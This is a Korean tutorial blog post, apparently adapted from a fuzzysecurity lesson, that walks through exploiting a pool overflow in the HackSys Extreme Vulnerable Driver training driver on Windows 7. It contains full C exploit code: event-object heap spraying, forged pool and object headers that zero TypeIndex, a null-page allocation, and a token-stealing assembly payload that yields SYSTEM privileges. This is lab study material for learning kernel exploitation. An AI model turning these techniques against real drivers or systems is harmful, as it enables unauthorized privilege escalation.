[Kernel Exploitation] Pool Overflow



출처: https://www.fuzzysecurity.com/tutorials.html


본 포스팅은 fuzzysecurity Tutorials part 16 -> Pool Overflow를 분석 및 의역하여 작성하였습니다. 

Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.



Step 1. 취약점 분석

Pool Overflow는 내가 할당한 다음 chunk의 header를 overflow를 통해서 변조시켜 EIP를 변조시키는 기술입니다.

 

다음은 Pool Overflow에서의 Trigger code입니다. Copy 과정을 거칠 때 사용자가 보내준 Buffer의 size만큼 복사가 이뤄지기 때문에 StackOverflow때와 마찬가지로 RtlCopyMemory()에서 취약점이 발생합니다.

NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
	PVOID KernelBuffer = NULL;
	NTSTATUS Status = STATUS_SUCCESS;

	PAGED_CODE();

	__try {
		DbgPrint(“[+] Allocating Pool chunk\n”);
		KernelBuffer = ExAllocatePoolWithTag(NonPagedPool, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)POOL_TAG);

		if (!KernelBuffer) {
			DbgPrint(“[-] Unable to allocate Pool chunk\n”);

			Status = STATUS_NO_MEMORY;
			return Status;
		}
		else {
			DbgPrint(“[+] Pool Tag : %s\n”, STRINGIFY(POOL_TAG));
			DbgPrint(“[+] Pool Type : %s\n”, STRINGIFY(NonPagedPool));
			DbgPrint(“[+] Pool Size : 0x%X\n”, (SIZE_T)POOL_BUFFER_SIZE);
			DbgPrint(“[+] Pool Chunk : 0x%p\n”, KernelBuffer);
		}
		ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

		DbgPrint(“[+] UserBuffer: 0x%p\n”, UserBuffer);
		DbgPrint(“[+] UserBuffer Size : 0x%X\n”, Size);
		DbgPrint(“[+] KernelBuffer: 0x%p\n”, KernelBuffer);
		DbgPrint(“[+] KernelBuffer Size : 0x%X\n”, (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE
		RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);

		// KernelBuffer에 data 삽입
#else
		DbgPrint(“[+] Triggering Pool Overflow\n”);
		RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif

		if (KernelBuffer) {
			DbgPrint(“[+] Freeing Pool chunk\n”);
			DbgPrint(“[+] Pool Tag : %s\n”, STRINGIFY(POOL_TAG));
			DbgPrint(“[+] Pool Chunk : 0x%p\n”, KernelBuffer);
			ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
			KernelBuffer = NULL;
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		Status = GetExceptionCode();
		DbgPrint(“[-] Exception Code : 0x%X\n”, Status);
	}

	return Status;
}

 

IDA에서의 KernelBuffer 할당 부분입니다. ExAllocatePoolWithTag()에서 “Hack”이라는 문자열의 tag를 가진 0x1f8bytes만큼의 memory가 할당됩니다. 여기서 Pool Header까지 포함하면 총 0x200bytes만큼의 chunk를 할당하게 됩니다.

 

 

 

다음은 단순히 KernelBuffer를 0x41로 채우는 간단한 code 입니다. free를 시키기 전에 breakpoint를 걸어 pool의 상태를 살펴보았습니다.

int main(int argc, CHAR* argv[])
{
	LPCSTR lpDevicename = (LPCSTR)”\\\\.\\HackSysExtremeVulnerableDriver”;
	PUCHAR lpInBuffer = NULL;
	HANDLE hDriver = NULL;
	SIZE_T Bufferlen = 0x1f8;
	DWORD lpBytesReturned;
	int i = 0;
	lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Bufferlen);
	memset(lpInBuffer, 0x41, Bufferlen);
	hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf(“[!] CreateFile error : 0x%x\n”, GetLastError());
		exit(0);
	}

	DeviceIoControl(hDriver,
		HACKSIS_EVD_IOCTL_POOL_OVERFLOW,
		lpInBuffer,
		Bufferlen,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	getchar();
	return 0;
}

 

pool 할당 상태를 살펴보면 Hack이라는 tag가 붙어있는 chunk 바로 다음이 tag가 EtwG를 나타내는 특정 chunk가 있습니다.

 

 

 

다음은 Hack chunk 뒤쪽의 EtwG chunk header 부분입니다. Driver code에서 RtlCopyMemory()함수로 overflow를 일으켜서 header를 조작할 것입니다.

 

 

 

Step 2. Exploit

먼저 header 부분을 임의의 값으로 덮어보도록 하겠습니다.

#include <stdio.h>
#include <Windows.h>
#include <WinIoCtl.h>
#include <TlHelp32.h>
#include <conio.h>
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define HACKSIS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef HANDLE(WINAPI *CREATEEVENT)(_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
	_In_ BOOL bManualReset,
	_In_ BOOL bInitialState,
	_In_opt_ LPCTSTR lpName);
int main(int argc, CHAR* argv[])
{
	LPCSTR lpDevicename = (LPCSTR)”\\\\.\\HackSysExtremeVulnerableDriver”;
	PUCHAR lpInBuffer = NULL;
	HANDLE hDriver = NULL;
	SIZE_T Bufferlen = 0x200;
	DWORD lpBytesReturned;
	UCHAR Malheader[] = { 0x42, 0x42, 0x42, 0x42, 0xEF, 0xBE, 0xAD, 0xDE };
	int i = 0;
	lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Bufferlen);
	printf(“[] lpInBuffer address : %p\n”, lpInBuffer);
	printf(“[] after lpInBuffer address : %p\n”, lpInBuffer + Bufferlen);
	memset(lpInBuffer, 0x41, Bufferlen);
	memcpy((PUCHAR)lpInBuffer + 0x1f8, (PUCHAR)Malheader, sizeof(Malheader));
	printf(“[] Malheader size : 0x%x\n”, sizeof(Malheader));
	printf(“[] header: %s\n”, lpInBuffer);

	hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf(“[!] CreateFile error : 0x%x\n”, GetLastError());
		exit(0);
	}

	DeviceIoControl(hDriver,
		HACKSIS_EVD_IOCTL_POOL_OVERFLOW,
		lpInBuffer,
		Bufferlen + 8,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	return 0;
}

 

RtlCopyMemory()가 일어나기 전 pool의 상태입니다. 이미 할당은 이뤄진 상태이고 아직 data를 채워 “Thre” chunk의 header를 덮기 전입니다.

 

 

 

다음은 chunk header를 덮어씌운 모습입니다.

 

 

 

analyze 결과를 보면 BAD_POOL_HEADER라고 뜹니다. 이는 Pool chunk의 header를 이상하게 덮어씌워 나타난 결과입니다.

 

 

 

 

이전 UAF exploit을 할 때 내가 할당할 수 있는 chunk와 같은 크기의 IoCompletionReserve Object를 많이 할당해놓고 내가 예측할수 있는 공간에 Fake chunk를 할당했습니다. 지금 이경우에도 마찬가지 입니다.

 

Chunk를 할당해서 뒤 쪽의 chunk header를 덮을 순 있겠지만 그 chunk가 어떤 Object memory인지도 모르고 결정적으로 내가 free를 할 수 있는 memory 공간이어야 합니다.

 

우리가 이용할 Object는 Event Object입니다. 이 Object의 크기는 0x40bytes이고 Overflow를 일으키는 chunk의 크기는 0x200bytes이기 때문에 크기가 맞지 않습니다. 하지만 이 객체 8개를 한번에 free시킨다면 0x200만큼의 free memory를 얻을 수 있습니다.

 

다음은 많은 수의 event 객체를 할당하고 8개만큼만 free 시켜 중간에 memory공간을 만들어준 pool의 상태입니다.

 

 

  

그렇다면 chunk를 할당한 다음에 Event객체의 header부분을 조작하고 조작된 header의 chunk를 free시켜주면 shellcode로 실행 흐름을 옮길 수 있습니다.

 

이제 Event Object에서 어떻게 header를 조작할지를 알아야 합니다. 아래는 chunk header에서 조작이 필요한 부분을 구조체로 본 것입니다. Pool tag부분이 “Even”으로 나타나 있습니다.

이 부분에서 OBJECT_HEADER부분에 TypeIndex라고 있는데 이 값은 chunk의 객체 유형을 정의하는 pointer 배열의 offset 값입니다.


 

 

ObTypeIndexTable의 data에서 0xc * 0x4(pointer size) 부분에 0x84cf33b0의 OBJECT_TYPE을 보겠습니다.

 

 

 

각각의 객체에 대한 정보가 들어가 있고 또 다른 주소에는 다른 Object의 정보가 들어가 있습니다. 그런데 ObTypeIndexTable의 첫 4bytes를 보게되면 NULL값으로 이뤄져 있습니다.

 

 

 

다음은 해당 Object에 대한 정보입니다. 전체적인 구조를 살펴봤을 때 OkayToCloseProcedure나 DeleteProcedure이 가장 중요합니다.

내가 chunk header를 덮어씌워 TypeIndex를 0으로 만든다면 chunk가 free될 때 OkayToCloseProcedure나 DeleteProcedure의 offset에 들어가있는 주소의 code를 실행하게 됩니다.

 

 

Exploit code 를 작성하여 실행해 보았습니다.

#include <stdio.h>
#include <Windows.h>
#include <WinIoCtl.h>
#include <TlHelp32.h>
#include <conio.h>
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define HACKSIS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef HANDLE(WINAPI *CREATEEVENT)(_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
	_In_ BOOL bManualReset,
	_In_ BOOL bInitialState,
	_In_opt_ LPCTSTR lpName);
typedef NTSTATUS(WINAPI *NTALLOCATEVIRTUALMEMORY)(_In_ HANDLE ProcessHandle,
	_Inout_ PVOID *BaseAddress,
	_In_ ULONG_PTR ZeroBits,
	_Inout_ PSIZE_T RegionSize,
	_In_ ULONG AllocationType,
	_In_ ULONG Protect);
HANDLE EventObjectHandle1[10000] = { 0, };
HANDLE EventObjectHandle2[5000] = { 0, };
VOID TokenStealingPayloadPoolOverflowWin7() {
	__asm {
		pushad; Save registers state
		; Start of Token Stealing Stub
		xor eax, eax; Set ZERO
		mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
		; _KTHREAD is located at FS : [0x124]
		mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
		mov ecx, eax; Copy current process _EPROCESS structure
		mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID
			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub
			popad; Restore registers state
			; Kernel Recovery Stub
			mov eax, 0x1
	}
}
void SetNullmemory() {
	HMODULE hNt = NULL;
	NTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory = NULL;
	NTSTATUS NtStatus = 1;
	SIZE_T AllocSize = 0x78;
	PVOID ShellAddress = NULL;
	PVOID BaseAddress = (PVOID)0x01;
	hNt = GetModuleHandle(“ntdll.dll”);
	if (!hNt) {
		printf(“[!] GetModuleHandle error : 0x%x\n”, GetLastError());
		return;
	}
	NtAllocateVirtualMemory = (NTALLOCATEVIRTUALMEMORY)GetProcAddress(hNt, “NtAllocateVirtualMemory”);
	if (!NtAllocateVirtualMemory) {
		printf(“[!] GetProcAddress error : 0x%x\n”, GetLastError());
		return;
	}
	NtStatus = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &AllocSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
	ShellAddress = (PVOID)0x60;
	*(PULONG)ShellAddress = (ULONG)TokenStealingPayloadPoolOverflowWin7;

	// 0x60 주소에 shellcode 주소를 삽입
}
void FreeEventObject() {
	DWORD i = 0;
	DWORD j = 0;
	for (i = 8; i < 5000; i += 16) {
		for (j = 0; j < 8; j++) {
			if (!CloseHandle(EventObjectHandle2[i + j])) {

				// 8개씩을 free
				printf(“[!] CloseHandle error : 0x%x\n”, GetLastError());
				exit(0);
			}
		}
	}
}
void SetNonPagePool() {
	int i = 0;
	int j = 0;
	for (i = 0; i < 5000; i += 16) {
		for (j = 0; j < 8; j++) {
			if (!CloseHandle(EventObjectHandle2[i + j])) {

				// 8개씩을 free
				printf(“[!] CloseHandle error : 0x%x\n”, GetLastError());
				return;
			}
		}
	}
	printf(“[] SetNonPagePool done!\n”);
}
void SprayNonPagedPool() {
	int i = 0;
	HMODULE hKernel = NULL;
	CREATEEVENT CreateEvent = NULL;
	NTSTATUS NtStatus = 1;
	hKernel = LoadLibraryA(“kernel32.dll”);
	if (!hKernel) {
		printf(“[!] LoadLibrary error : 0x%x\n”, GetLastError());
		return;
	}
	CreateEvent = (CREATEEVENT)GetProcAddress(hKernel, “CreateEventA”);
	if (!CreateEvent) {
		printf(“[!] GetProcAddress error : 0x%x\n”, GetLastError());
		return;
	}
	printf(“[] Get Address success!\n”);
	for (i = 0; i < 10000; i++) {
		EventObjectHandle1[i] = CreateEvent(NULL, 0, 0, NULL);
		if (!EventObjectHandle1[i]) {
			printf(“[!] CreateEvent error : 0x%x\n”, GetLastError());
			return;
		}
	} // 많은 수의 Event Object를 선언해 이미 Pool공간에 있는 빈 공간들을 채워준다.
	for (i = 0; i < 5000; i++) {
		EventObjectHandle2[i] = CreateEvent(NULL, 0, 0, NULL);
		if (!EventObjectHandle2[i]) {
			printf(“[!] CreateEvent error : 0x%x\n”, GetLastError());
			return;
		}
	}
} // Pool 공간을 채워주고 8개씩을 free시켜 공간을 만든다.



int main(int argc, CHAR* argv[])
{
	LPCSTR lpDevicename = (LPCSTR)”\\\\.\\HackSysExtremeVulnerableDriver”;
	PUCHAR lpInBuffer = NULL;
	HANDLE hDriver = NULL;
	SIZE_T Bufferlen = 0x1f8; // Original buffer length
	SIZE_T Overflowlen = 0;
	DWORD lpBytesReturned;
	int i = 0;
	UCHAR PoolHeader[] = { 0x40, 0, 0x08,0x04, // prev size
	0x45, 0x76, 0x65, 0xee }; // Pool tag
	UCHAR ObjectQuotaInfo[] = { 0x00, 0x00, 0x00, 0x00, // PagedPoolCharge
	0x40, 0x00, 0x00, 0x00, // NonPagedPoolCharge
	0x00, 0x00, 0x00, 0x00, // SecurityDescriptorCharge
	0x00, 0x00, 0x00, 0x00 }; // SecurityDescriptorQuotaBlock
	UCHAR ObjectHeader[] = { 0x01, 0x00, 0x00, 0x00, // PointerCount
	0x01, 0x00, 0x00, 0x00, // HandleCount
	0x00, 0x00, 0x00, 0x00, // Lock; _EX_PUSH_LOCK
	0x00, // TypeIndex
	0x00, // TraceFlags
	0x08, // InfoMask
	0x00 }; // Flags

	// TypeIndex를 0으로 만드는 Fake chunk header
	lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Bufferlen + sizeof(PoolHeader) + sizeof(ObjectQuotaInfo) + sizeof(ObjectHeader));
	Overflowlen = Bufferlen + sizeof(PoolHeader) + sizeof(ObjectQuotaInfo) + sizeof(ObjectHeader);
	printf(“[] lpInBuffer address : %p\n”, lpInBuffer);
	printf(“[] after lpInBuffer address : %p\n”, lpInBuffer + Bufferlen);
	printf(“[] Overflow size : 0x%x\n”, Overflowlen);

	memset(lpInBuffer, 0x41, Bufferlen);
	memcpy((PUCHAR)lpInBuffer + Bufferlen, (PUCHAR)PoolHeader, sizeof(PoolHeader));
	memcpy((PUCHAR)lpInBuffer + Bufferlen + sizeof(PoolHeader), ObjectQuotaInfo, sizeof(ObjectQuotaInfo));
	memcpy((PUCHAR)lpInBuffer + Bufferlen + sizeof(PoolHeader) + sizeof(ObjectQuotaInfo), ObjectHeader, sizeof(ObjectHeader));
	printf(“[] header: %s\n”, lpInBuffer);
	SprayNonPagedPool();
	SetNonPagePool();
	SetNullmemory();

	// Pool 세팅
	hDriver = CreateFile(lpDevicename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf(“[!] CreateFile error : 0x%x\n”, GetLastError());
		exit(0);
	}

	DeviceIoControl(hDriver,
		HACKSIS_EVD_IOCTL_POOL_OVERFLOW,
		lpInBuffer,
		Overflowlen,
		NULL,
		0,
		&lpBytesReturned,
		NULL);
	FreeEventObject();

	// 마지막으로 변조된 header를 가진 Event object를 free시켜준다.
	system(“cmd.exe”);

	return 0;
}

 

아래와 같이 0x60bytes 부분에 shellcode의 주소가 넣어져 있습니다.

 

 

free를 시켜주면 shellcode가 실행되어 권한상승이 이루어 집니다.

 

이 글을 공유하기

댓글